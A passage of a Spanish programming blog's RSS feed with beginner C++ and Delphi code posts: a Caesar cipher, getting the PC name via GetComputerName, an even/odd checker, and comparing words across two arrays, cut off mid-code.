<span style="color: #0000ff;">char</span> Abecedario<span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span><span style="color: #000080;">=</span><span style="color: #008000;">&#123;</span><span style="color: #FF0000;">'a'</span>,<span style="color: #FF0000;">'b'</span>,<span style="color: #FF0000;">'c'</span>,<span style="color: #FF0000;">'d'</span>,<span style="color: #FF0000;">'e'</span>,<span style="color: #FF0000;">'f'</span>,<span style="color: #FF0000;">'g'</span>,<span style="color: #FF0000;">'h'</span>,<span style="color: #FF0000;">'i'</span>,<span style="color: #FF0000;">'j'</span>,<span style="color: #FF0000;">'k'</span>,
				   <span style="color: #FF0000;">'l'</span>,<span style="color: #FF0000;">'m'</span>,<span style="color: #FF0000;">'n'</span>,<span style="color: #FF0000;">'o'</span>,<span style="color: #FF0000;">'p'</span>,<span style="color: #FF0000;">'q'</span>,<span style="color: #FF0000;">'r'</span>,<span style="color: #FF0000;">'s'</span>,<span style="color: #FF0000;">'t'</span>,<span style="color: #FF0000;">'u'</span>,<span style="color: #FF0000;">'v'</span>,
				   <span style="color: #FF0000;">'w'</span>,<span style="color: #FF0000;">'x'</span>,<span style="color: #FF0000;">'y'</span>,<span style="color: #FF0000;">'z'</span><span style="color: #008000;">&#125;</span><span style="color: #008080;">;</span>
&nbsp;
string Palabra,NuevaPalabra <span style="color: #000080;">=</span> <span style="color: #FF0000;">&quot;&quot;</span><span style="color: #008080;">;</span>
<span style="color: #0000ff;">unsigned</span> <span style="color: #0000ff;">int</span> i,x,ALength,Temp,Tmp,Clave <span style="color: #000080;">=</span> <span style="color: #0000dd;">0</span><span style="color: #008080;">;</span>
&nbsp;
<span style="color: #ff0000; font-style: italic;">/* Funcion para convertir una cadena de texto a minusculas. */</span>
string StringToLower<span style="color: #008000;">&#40;</span>string strToConvert<span style="color: #008000;">&#41;</span>
<span style="color: #008000;">&#123;</span>
   <span style="color: #0000ff;">for</span><span style="color: #008000;">&#40;</span><span style="color: #0000ff;">unsigned</span> <span style="color: #0000ff;">int</span> i<span style="color: #000080;">=</span><span style="color: #0000dd;">0</span><span style="color: #008080;">;</span>i <span style="color: #000080;">&lt;</span> strToConvert.<span style="color: #007788;">length</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span>i<span style="color: #000040;">++</span><span style="color: #008000;">&#41;</span>
   <span style="color: #008000;">&#123;</span>
	  strToConvert<span style="color: #008000;">&#91;</span>i<span style="color: #008000;">&#93;</span> <span style="color: #000080;">=</span> <span style="color: #0000dd;">tolower</span><span style="color: #008000;">&#40;</span>strToConvert<span style="color: #008000;">&#91;</span>i<span style="color: #008000;">&#93;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span>
   <span style="color: #008000;">&#125;</span>
   <span style="color: #0000ff;">return</span> strToConvert<span style="color: #008080;">;</span>
<span style="color: #008000;">&#125;</span>
&nbsp;
<span style="color: #ff0000; font-style: italic;">/* Instancia principal de la aplicacion. */</span>
<span style="color: #0000ff;">int</span> main<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span>
<span style="color: #008000;">&#123;</span>
	<span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;Escriba la palabra que desea cifrar &amp;gt; &quot;</span><span style="color: #008080;">;</span> 			<span style="color: #ff0000; font-style: italic;">/* Pedimos la palabra */</span>
	<span style="color: #0000dd;">cin</span> <span style="color: #000080;">&gt;&gt;</span> Palabra<span style="color: #008080;">;</span> 											<span style="color: #ff0000; font-style: italic;">/* La recibimos y guardamos en la variable &quot;Palabra&quot;. */</span>
	Palabra <span style="color: #000080;">=</span> StringToLower<span style="color: #008000;">&#40;</span>Palabra<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> 							<span style="color: #ff0000; font-style: italic;">/* La convertimos a minusculas. */</span>
	ALength <span style="color: #000080;">=</span> <span style="color: #0000dd;">strlen</span><span style="color: #008000;">&#40;</span>Abecedario<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> 								<span style="color: #ff0000; font-style: italic;">/* Obtenemos la longitud del abecedario */</span>
	<span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;Escriba la clave para codificar (entre 1 y 24) &amp;gt; &quot;</span><span style="color: #008080;">;</span><span style="color: #ff0000; font-style: italic;">/* Pedimos la clave de cifrado. */</span>
	<span style="color: #0000dd;">cin</span> <span style="color: #000080;">&gt;&gt;</span> Clave<span style="color: #008080;">;</span> 												<span style="color: #ff0000; font-style: italic;">/* La recibimos y guardamos en la varible &quot;Clave&quot;. */</span>
		<span style="color: #0000ff;">if</span> <span style="color: #008000;">&#40;</span><span style="color: #008000;">&#40;</span>Clave <span style="color: #000080;">&gt;=</span> <span style="color: #0000dd;">1</span><span style="color: #008000;">&#41;</span> <span style="color: #000040;">&amp;</span> <span style="color: #008000;">&#40;</span>Clave <span style="color: #000080;">&lt;=</span> <span style="color: #0000dd;">26</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#123;</span> 						<span style="color: #ff0000; font-style: italic;">/* Confirmamos si es correcta...*/</span>
			<span style="color: #0000ff;">for</span> <span style="color: #008000;">&#40;</span>i <span style="color: #000080;">=</span> <span style="color: #0000dd;">0</span><span style="color: #008080;">;</span> i <span style="color: #000080;">&lt;</span> Palabra.<span style="color: #007788;">length</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> i<span style="color: #000040;">++</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#123;</span> 			<span style="color: #ff0000; font-style: italic;">/* Recorremos la palabra hasta el final. */</span>
				<span style="color: #0000ff;">for</span> <span style="color: #008000;">&#40;</span>x <span style="color: #000080;">=</span> <span style="color: #0000dd;">0</span><span style="color: #008080;">;</span> x <span style="color: #000080;">&lt;</span> ALength <span style="color: #000040;">-</span> <span style="color: #0000dd;">1</span><span style="color: #008080;">;</span> x<span style="color: #000040;">++</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#123;</span> 				<span style="color: #ff0000; font-style: italic;">/* Recorremos el abecedarios. */</span>
					<span style="color: #0000ff;">if</span> <span style="color: #008000;">&#40;</span>Palabra<span style="color: #008000;">&#91;</span>i<span style="color: #008000;">&#93;</span> <span style="color: #000080;">==</span> Abecedario<span style="color: #008000;">&#91;</span>x<span style="color: #008000;">&#93;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#123;</span> 			<span style="color: #ff0000; font-style: italic;">/* Buscamos caracteres que estén en ambos. */</span>
						<span style="color: #0000ff;">if</span> <span style="color: #008000;">&#40;</span>x<span style="color: #000040;">+</span>Clave <span style="color: #000080;">&gt;=</span> <span style="color: #0000dd;">26</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#123;</span>
							Temp <span style="color: #000080;">=</span> x<span style="color: #000040;">+</span>Clave<span style="color: #008080;">;</span>
							Tmp <span style="color: #000080;">=</span> Temp<span style="color: #000040;">-</span><span style="color: #0000dd;">26</span><span style="color: #008080;">;</span>
							NuevaPalabra <span style="color: #000080;">=</span> NuevaPalabra <span style="color: #000040;">+</span> Abecedario<span style="color: #008000;">&#91;</span>Tmp<span style="color: #008000;">&#93;</span><span style="color: #008080;">;</span> <span style="color: #ff0000; font-style: italic;">/* Creando la palabra. */</span>
						<span style="color: #008000;">&#125;</span><span style="color: #0000ff;">else</span>
							NuevaPalabra <span style="color: #000080;">=</span> NuevaPalabra <span style="color: #000040;">+</span> Abecedario<span style="color: #008000;">&#91;</span>x<span style="color: #000040;">+</span>Clave<span style="color: #008000;">&#93;</span><span style="color: #008080;">;</span> <span style="color: #ff0000; font-style: italic;">/* Creando la palabra. */</span>
						<span style="color: #008000;">&#125;</span>
						<span style="color: #008000;">&#125;</span>
					<span style="color: #008000;">&#125;</span>
					<span style="color: #008000;">&#125;</span><span style="color: #0000ff;">else</span>
			<span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;Clave errónea&quot;</span><span style="color: #008080;">;</span>
&nbsp;
	<span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;La palabra cifrada es &quot;</span> <span style="color: #000080;">&lt;&lt;</span> NuevaPalabra<span style="color: #008080;">;</span> <span style="color: #ff0000; font-style: italic;">/* Muestro la palabra cifrada. */</span>
	<span style="color: #0000dd;">getchar</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span>
	<span style="color: #0000ff;">return</span> <span style="color: #0000dd;">0</span><span style="color: #008080;">;</span>
<span style="color: #008000;">&#125;</span></pre></div></div>

<p>Una alternativa un poco más cómoda:</p>

<div class="wp_syntax"><div class="code"><pre class="cpp" style="font-family:monospace;"><span style="color: #ff0000; font-style: italic;">/*
    ===================================
    @Autor: .:WindHack:.
    @Sitio web: http://daw-labs.com
    @Fecha: vie 2 de jul, 20:52
    @Cifrado César
    ===================================
*/</span>
&nbsp;
<span style="color: #339900;">#include &lt;iostream&gt;</span>
<span style="color: #339900;">#include &lt;string.h&gt;</span>
&nbsp;
<span style="color: #339900;">#define MAX 128</span>
&nbsp;
<span style="color: #0000ff;">using</span> <span style="color: #0000ff;">namespace</span> std<span style="color: #008080;">;</span>
&nbsp;
<span style="color: #0000ff;">int</span> main<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span>
<span style="color: #008000;">&#123;</span>
    <span style="color: #0000ff;">int</span> Key<span style="color: #008080;">;</span>
    <span style="color: #0000ff;">char</span> Temp<span style="color: #008000;">&#91;</span>MAX<span style="color: #008000;">&#93;</span><span style="color: #000080;">=</span><span style="color: #FF0000;">&quot;&quot;</span>,Cadena<span style="color: #008000;">&#91;</span>MAX<span style="color: #008000;">&#93;</span><span style="color: #008080;">;</span>
    <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;Introduce la cadena a cifrar: &quot;</span><span style="color: #008080;">;</span>
    <span style="color: #0000dd;">cin</span> <span style="color: #000080;">&gt;&gt;</span> Cadena<span style="color: #008080;">;</span>
    <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;Introduce la clave de desplazamiento (número): &quot;</span><span style="color: #008080;">;</span>
    <span style="color: #0000dd;">cin</span> <span style="color: #000080;">&gt;&gt;</span> Key<span style="color: #008080;">;</span>
    <span style="color: #0000ff;">for</span><span style="color: #008000;">&#40;</span><span style="color: #0000ff;">int</span> i<span style="color: #000080;">=</span><span style="color: #0000dd;">0</span><span style="color: #008080;">;</span>i<span style="color: #000080;">&lt;</span><span style="color: #0000dd;">strlen</span><span style="color: #008000;">&#40;</span>Cadena<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span>i<span style="color: #000040;">++</span><span style="color: #008000;">&#41;</span>
        Temp<span style="color: #008000;">&#91;</span>i<span style="color: #008000;">&#93;</span> <span style="color: #000080;">=</span> Cadena<span style="color: #008000;">&#91;</span>i<span style="color: #008000;">&#93;</span><span style="color: #000040;">+</span>Key<span style="color: #008080;">;</span>
    <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;Cadena cifrada: &quot;</span> <span style="color: #000080;">&lt;&lt;</span> Temp<span style="color: #008080;">;</span>
    <span style="color: #0000ff;">return</span> <span style="color: #0000dd;">0</span><span style="color: #008080;">;</span>
<span style="color: #008000;">&#125;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.daw-labs.com/cifrado-cesar-en-c/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Obtener el nombre del PC</title>
		<link>http://www.daw-labs.com/obtener-el-nombre-del-pc-en-c/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=obtener-el-nombre-del-pc-en-c</link>
		<comments>http://www.daw-labs.com/obtener-el-nombre-del-pc-en-c/#comments</comments>
		<pubDate>Sun, 16 May 2010 19:09:23 +0000</pubDate>
		<dc:creator>WindHack</dc:creator>
				<category><![CDATA[C/C++]]></category>
		<category><![CDATA[Delphi/Pascal]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[c++]]></category>
		<category><![CDATA[delphi]]></category>
		<category><![CDATA[getcomputername]]></category>
		<category><![CDATA[nombre]]></category>
		<category><![CDATA[Obtener]]></category>
		<category><![CDATA[pc]]></category>
		<category><![CDATA[WindHack]]></category>
		<category><![CDATA[WINDOWS]]></category>

		<guid isPermaLink="false">http://daw-labs.com/?p=380</guid>
		<description><![CDATA[Con éste código obtendremos el nombre del PC. Se emplea la API de Windows® GetComputerName. En C++: /* DaW - Labs - http://daw-labs.com */ /* .:WindHack:. */ &#160; #include &#60;windows.h&#62; &#160; int main&#40;&#41; &#123; char Buffer&#91;MAX_COMPUTERNAME_LENGTH + 1&#93;; DWORD nSize = sizeof&#40;Buffer&#41;; if &#40;GetComputerName&#40;Buffer,&#38;amp;nSize&#41;&#41; &#123; MessageBox&#40;0,Buffer,&#34;Nombre de PC&#34;,MB_OK &#124; MB_ICONINFORMATION&#41;; &#125; return 0; &#125; En Delphi:&#8230;]]></description>
			<content:encoded><![CDATA[<p>Con éste código obtendremos el nombre del PC.<br />
Se emplea la API de Windows® <strong>GetComputerName</strong>.</p>
<p>En <strong>C++</strong>:</p>

<div class="wp_syntax"><div class="code"><pre class="cpp" style="font-family:monospace;"><span style="color: #ff0000; font-style: italic;">/* DaW - Labs - http://daw-labs.com */</span>
<span style="color: #ff0000; font-style: italic;">/* .:WindHack:. */</span>
&nbsp;
<span style="color: #339900;">#include &lt;windows.h&gt;</span>
&nbsp;
<span style="color: #0000ff;">int</span> main<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span>
<span style="color: #008000;">&#123;</span>
	<span style="color: #0000ff;">char</span> Buffer<span style="color: #008000;">&#91;</span>MAX_COMPUTERNAME_LENGTH <span style="color: #000040;">+</span> <span style="color: #0000dd;">1</span><span style="color: #008000;">&#93;</span><span style="color: #008080;">;</span>
	DWORD nSize <span style="color: #000080;">=</span> <span style="color: #0000dd;">sizeof</span><span style="color: #008000;">&#40;</span>Buffer<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span>
	<span style="color: #0000ff;">if</span> <span style="color: #008000;">&#40;</span>GetComputerName<span style="color: #008000;">&#40;</span>Buffer,<span style="color: #000040;">&amp;</span>amp<span style="color: #008080;">;</span>nSize<span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span>
		<span style="color: #008000;">&#123;</span>
			MessageBox<span style="color: #008000;">&#40;</span><span style="color: #0000dd;">0</span>,Buffer,<span style="color: #FF0000;">&quot;Nombre de PC&quot;</span>,MB_OK <span style="color: #000040;">|</span> MB_ICONINFORMATION<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span>
		<span style="color: #008000;">&#125;</span>
	<span style="color: #0000ff;">return</span> <span style="color: #0000dd;">0</span><span style="color: #008080;">;</span>
<span style="color: #008000;">&#125;</span></pre></div></div>

<p>En <strong>Delphi</strong>:</p>

<div class="wp_syntax"><div class="code"><pre class="delphi" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">(*
    Autor: .:WindHack:.
    Sitio web: http://daw-labs.com
    Clase: Función
    Descripción: Obtiene el nombre del PC usando la API GetComputerName.
*)</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> GetPC_Name<span style="color: #000066;">&#40;</span><span style="color: #000066;">&#41;</span><span style="color: #000066;">:</span><span style="color: #000066; font-weight: bold;">String</span><span style="color: #000066;">;</span>
<span style="color: #000000; font-weight: bold;">var</span>
  Buffer<span style="color: #000066;">:</span><span style="color: #000000; font-weight: bold;">Array</span> <span style="color: #000066;">&#91;</span><span style="color: #0000ff;">0</span><span style="color: #000066;">..</span><span style="color: #006600;">MAX_COMPUTERNAME_LENGTH</span><span style="color: #000066;">&#93;</span> <span style="color: #000000; font-weight: bold;">of</span> <span style="color: #000066; font-weight: bold;">Char</span><span style="color: #000066;">;</span>
  BufferSize<span style="color: #000066;">:</span><span style="color: #000066; font-weight: bold;">DWORD</span><span style="color: #000066;">;</span>
<span style="color: #000000; font-weight: bold;">begin</span>
  BufferSize <span style="color: #000066;">:</span><span style="color: #000066;">=</span> <span style="color: #000066;">SizeOf</span><span style="color: #000066;">&#40;</span>Buffer<span style="color: #000066;">&#41;</span><span style="color: #000066;">;</span>
  Result <span style="color: #000066;">:</span><span style="color: #000066;">=</span> <span style="color: #ff0000;">''</span><span style="color: #000066;">;</span>
  <span style="color: #000000; font-weight: bold;">if</span> GetComputerName<span style="color: #000066;">&#40;</span>Buffer<span style="color: #000066;">,</span>BufferSize<span style="color: #000066;">&#41;</span> <span style="color: #000000; font-weight: bold;">then</span>
    Result <span style="color: #000066;">:</span><span style="color: #000066;">=</span> Buffer<span style="color: #000066;">;</span>
<span style="color: #000000; font-weight: bold;">end</span><span style="color: #000066;">;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.daw-labs.com/obtener-el-nombre-del-pc-en-c/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Número par o impar en C++</title>
		<link>http://www.daw-labs.com/numero-par-o-impar-en-c/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=numero-par-o-impar-en-c</link>
		<comments>http://www.daw-labs.com/numero-par-o-impar-en-c/#comments</comments>
		<pubDate>Sun, 16 May 2010 18:50:50 +0000</pubDate>
		<dc:creator>WindHack</dc:creator>
				<category><![CDATA[C/C++]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[c++]]></category>
		<category><![CDATA[funcion]]></category>
		<category><![CDATA[impar]]></category>
		<category><![CDATA[Numero]]></category>
		<category><![CDATA[Par]]></category>
		<category><![CDATA[WindHack]]></category>

		<guid isPermaLink="false">http://daw-labs.com/?p=375</guid>
		<description><![CDATA[Con este código se puede determinar si el número ingresado por el usuario es par o impar. /* DaW - Labs - http://daw-labs.com */ /* .:WindHack:. */ &#160; #include &#60;iostream.h&#62; &#160; bool ParImpar&#40;int Num&#41; &#123; if &#40;Num % 2 == 0&#41; return true; else return false; &#125; &#160; int _tmain&#40;&#41; &#123; int n; cout &#60;&#60;&#8230;]]></description>
			<content:encoded><![CDATA[<p>Con este código se puede determinar si el número ingresado por el usuario es par o impar.</p>

<div class="wp_syntax"><div class="code"><pre class="cpp" style="font-family:monospace;"><span style="color: #ff0000; font-style: italic;">/* DaW - Labs - http://daw-labs.com */</span>
<span style="color: #ff0000; font-style: italic;">/* .:WindHack:. */</span>
&nbsp;
<span style="color: #339900;">#include &lt;iostream.h&gt;</span>
&nbsp;
<span style="color: #0000ff;">bool</span> ParImpar<span style="color: #008000;">&#40;</span><span style="color: #0000ff;">int</span> Num<span style="color: #008000;">&#41;</span>
<span style="color: #008000;">&#123;</span>
   <span style="color: #0000ff;">if</span> <span style="color: #008000;">&#40;</span>Num <span style="color: #000040;">%</span> <span style="color: #0000dd;">2</span> <span style="color: #000080;">==</span> <span style="color: #0000dd;">0</span><span style="color: #008000;">&#41;</span>
	   <span style="color: #0000ff;">return</span> <span style="color: #0000ff;">true</span><span style="color: #008080;">;</span>
   <span style="color: #0000ff;">else</span>
	   <span style="color: #0000ff;">return</span> <span style="color: #0000ff;">false</span><span style="color: #008080;">;</span>
<span style="color: #008000;">&#125;</span>
&nbsp;
<span style="color: #0000ff;">int</span> _tmain<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span>
<span style="color: #008000;">&#123;</span>
   <span style="color: #0000ff;">int</span> n<span style="color: #008080;">;</span>
   <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;Introduzca un numero &gt; &quot;</span><span style="color: #008080;">;</span>
   <span style="color: #0000dd;">cin</span> <span style="color: #000080;">&gt;&gt;</span> n<span style="color: #008080;">;</span>
   <span style="color: #0000ff;">if</span> <span style="color: #008000;">&#40;</span>ParImpar<span style="color: #008000;">&#40;</span>n<span style="color: #008000;">&#41;</span><span style="color: #000080;">==</span><span style="color: #0000ff;">true</span><span style="color: #008000;">&#41;</span>
   <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;El numero es par...&quot;</span> <span style="color: #000080;">&lt;&lt;</span> endl<span style="color: #008080;">;</span>
   <span style="color: #0000ff;">else</span>
   <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;El numero es impar...&quot;</span> <span style="color: #000080;">&lt;&lt;</span> endl<span style="color: #008080;">;</span>
&nbsp;
   <span style="color: #0000dd;">system</span><span style="color: #008000;">&#40;</span><span style="color: #FF0000;">&quot;pause&gt;nul&quot;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span>
   <span style="color: #0000ff;">return</span> <span style="color: #0000dd;">0</span><span style="color: #008080;">;</span>
<span style="color: #008000;">&#125;</span></pre></div></div>

<p>Programado en <strong>C++ Builder</strong>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.daw-labs.com/numero-par-o-impar-en-c/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Comparación de palabras en arreglos (arrays) diferentes</title>
		<link>http://www.daw-labs.com/comparacion-de-palabras-en-arreglos-arrays-diferentes/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=comparacion-de-palabras-en-arreglos-arrays-diferentes</link>
		<comments>http://www.daw-labs.com/comparacion-de-palabras-en-arreglos-arrays-diferentes/#comments</comments>
		<pubDate>Sat, 15 May 2010 14:46:30 +0000</pubDate>
		<dc:creator>WindHack</dc:creator>
				<category><![CDATA[C/C++]]></category>
		<category><![CDATA[Delphi/Pascal]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[arrays]]></category>
		<category><![CDATA[arreglos]]></category>
		<category><![CDATA[comparar]]></category>
		<category><![CDATA[delphi]]></category>
		<category><![CDATA[palabras]]></category>
		<category><![CDATA[Pascal]]></category>

		<guid isPermaLink="false">http://daw-labs.com/?p=370</guid>
		<description><![CDATA[La cuestión es sencilla, necesitamos comparar cuáles palabras están en ambos arreglos (arrays ). Pero&#8230;¿es posible hacer esto?, claro que lo es, para ello lo haremos en dos lenguajes diferentes. El primero será en C++ y fue originalmente programado por JaAViEr. #include &#60;iostream&#62; &#160; using namespace std; &#160; int main&#40;&#41; &#123; char *nombrex&#91;&#93;=&#123;&#34;Javier&#34;,&#34;Alex&#34;,&#34;Void&#34;,&#34;Animalf&#34;,&#34;Bolivianito&#34;,&#34;RockoX&#34;,&#34;3D1&#34;,&#34;Vart&#34;,&#34;Ranefi&#34;&#125;; char *nombrey&#91;&#93;=&#123;&#34;Javier&#34;,&#34;Esteban&#34;,&#34;NA&#34;,&#34;Ranefi&#34;,&#34;Alex&#34;,&#34;ELEMENTO&#34;,&#34;2D1&#34;,&#34;WUALA&#34;,&#34;CUEK&#34;&#125;;&#8230;]]></description>
			<content:encoded><![CDATA[<p>La cuestión es sencilla, necesitamos comparar cuáles palabras están en ambos arreglos (<em><strong>arrays</strong></em><strong> </strong>).</p>
<p>Pero&#8230;¿es posible hacer esto?, claro que lo es, para ello lo haremos en dos lenguajes diferentes.</p>
<p>El primero será en C++ y fue originalmente programado por <strong>JaAViEr.</strong></p>

<div class="wp_syntax"><div class="code"><pre class="cpp" style="font-family:monospace;"><span style="color: #339900;">#include &lt;iostream&gt;</span>
&nbsp;
<span style="color: #0000ff;">using</span> <span style="color: #0000ff;">namespace</span> std<span style="color: #008080;">;</span>
&nbsp;
<span style="color: #0000ff;">int</span> main<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span>
<span style="color: #008000;">&#123;</span>
	<span style="color: #0000ff;">char</span> <span style="color: #000040;">*</span>nombrex<span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span><span style="color: #000080;">=</span><span style="color: #008000;">&#123;</span><span style="color: #FF0000;">&quot;Javier&quot;</span>,<span style="color: #FF0000;">&quot;Alex&quot;</span>,<span style="color: #FF0000;">&quot;Void&quot;</span>,<span style="color: #FF0000;">&quot;Animalf&quot;</span>,<span style="color: #FF0000;">&quot;Bolivianito&quot;</span>,<span style="color: #FF0000;">&quot;RockoX&quot;</span>,<span style="color: #FF0000;">&quot;3D1&quot;</span>,<span style="color: #FF0000;">&quot;Vart&quot;</span>,<span style="color: #FF0000;">&quot;Ranefi&quot;</span><span style="color: #008000;">&#125;</span><span style="color: #008080;">;</span>
	<span style="color: #0000ff;">char</span> <span style="color: #000040;">*</span>nombrey<span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span><span style="color: #000080;">=</span><span style="color: #008000;">&#123;</span><span style="color: #FF0000;">&quot;Javier&quot;</span>,<span style="color: #FF0000;">&quot;Esteban&quot;</span>,<span style="color: #FF0000;">&quot;NA&quot;</span>,<span style="color: #FF0000;">&quot;Ranefi&quot;</span>,<span style="color: #FF0000;">&quot;Alex&quot;</span>,<span style="color: #FF0000;">&quot;ELEMENTO&quot;</span>,<span style="color: #FF0000;">&quot;2D1&quot;</span>,<span style="color: #FF0000;">&quot;WUALA&quot;</span>,<span style="color: #FF0000;">&quot;CUEK&quot;</span><span style="color: #008000;">&#125;</span><span style="color: #008080;">;</span>
	<span style="color: #0000ff;">for</span><span style="color: #008000;">&#40;</span><span style="color: #0000ff;">int</span> i<span style="color: #000080;">=</span><span style="color: #0000dd;">0</span><span style="color: #008080;">;</span>i <span style="color: #000080;">&lt;</span> <span style="color: #0000dd;">9</span><span style="color: #008080;">;</span>i<span style="color: #000040;">++</span><span style="color: #008000;">&#41;</span>
	<span style="color: #008000;">&#123;</span>
		<span style="color: #0000ff;">for</span><span style="color: #008000;">&#40;</span><span style="color: #0000ff;">int</span> a<span style="color: #000080;">=</span><span style="color: #0000dd;">0</span><span style="color: #008080;">;</span>a <span style="color: #000080;">&lt;</span> <span style="color: #0000dd;">9</span><span style="color: #008080;">;</span>a<span style="color: #000040;">++</span><span style="color: #008000;">&#41;</span>
		<span style="color: #008000;">&#123;</span>
<span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span>nombrex<span style="color: #008000;">&#91;</span>i<span style="color: #008000;">&#93;</span><span style="color: #000080;">==</span>nombrey<span style="color: #008000;">&#91;</span>a<span style="color: #008000;">&#93;</span><span style="color: #008000;">&#41;</span>
			<span style="color: #008000;">&#123;</span>
			    <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;La palabra &quot;</span> <span style="color: #000080;">&lt;&lt;</span> nombrey<span style="color: #008000;">&#91;</span>a<span style="color: #008000;">&#93;</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot; Coinciden en ambas listas.&quot;</span> <span style="color: #000080;">&lt;&lt;</span> endl<span style="color: #008080;">;</span>
			<span style="color: #008000;">&#125;</span>
		<span style="color: #008000;">&#125;</span>
	<span style="color: #008000;">&#125;</span>
<span style="color: #008000;">&#125;</span></pre></div></div>

<p>Ahora mi versión en <strong>Delphi</strong>.</p>

<div class="wp_syntax"><div class="code"><pre class="delphi" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">program</span> Project1<span style="color: #000066;">;</span>
&nbsp;
<span style="color: #008000; font-style: italic;">{$APPTYPE CONSOLE}</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">uses</span>
  SysUtils<span style="color: #000066;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">var</span>
    NombreX<span style="color: #000066;">:</span> <span style="color: #000000; font-weight: bold;">Array</span> <span style="color: #000066;">&#91;</span><span style="color: #0000ff;">0</span><span style="color: #000066;">..</span><span style="color: #0000ff;">4</span><span style="color: #000066;">&#93;</span> <span style="color: #000000; font-weight: bold;">of</span> <span style="color: #000066; font-weight: bold;">String</span> <span style="color: #000066;">=</span><span style="color: #000066;">&#40;</span><span style="color: #ff0000;">'Sebastian'</span><span style="color: #000066;">,</span><span style="color: #ff0000;">'Camilo'</span><span style="color: #000066;">,</span><span style="color: #ff0000;">'Milton'</span><span style="color: #000066;">,</span><span style="color: #ff0000;">'Julian'</span><span style="color: #000066;">,</span><span style="color: #ff0000;">'WindHack'</span><span style="color: #000066;">&#41;</span><span style="color: #000066;">;</span>
    NombreY<span style="color: #000066;">:</span> <span style="color: #000000; font-weight: bold;">Array</span> <span style="color: #000066;">&#91;</span><span style="color: #0000ff;">0</span><span style="color: #000066;">..</span><span style="color: #0000ff;">4</span><span style="color: #000066;">&#93;</span> <span style="color: #000000; font-weight: bold;">of</span> <span style="color: #000066; font-weight: bold;">String</span> <span style="color: #000066;">=</span><span style="color: #000066;">&#40;</span><span style="color: #ff0000;">'Sebastian'</span><span style="color: #000066;">,</span><span style="color: #ff0000;">'Diana'</span><span style="color: #000066;">,</span><span style="color: #ff0000;">'Spektrum'</span><span style="color: #000066;">,</span><span style="color: #ff0000;">'Camilo'</span><span style="color: #000066;">,</span><span style="color: #ff0000;">'Milton'</span><span style="color: #000066;">&#41;</span><span style="color: #000066;">;</span>
    I<span style="color: #000066;">,</span>A<span style="color: #000066;">:</span><span style="color: #000066; font-weight: bold;">Integer</span><span style="color: #000066;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">begin</span>
  <span style="color: #000000; font-weight: bold;">try</span>
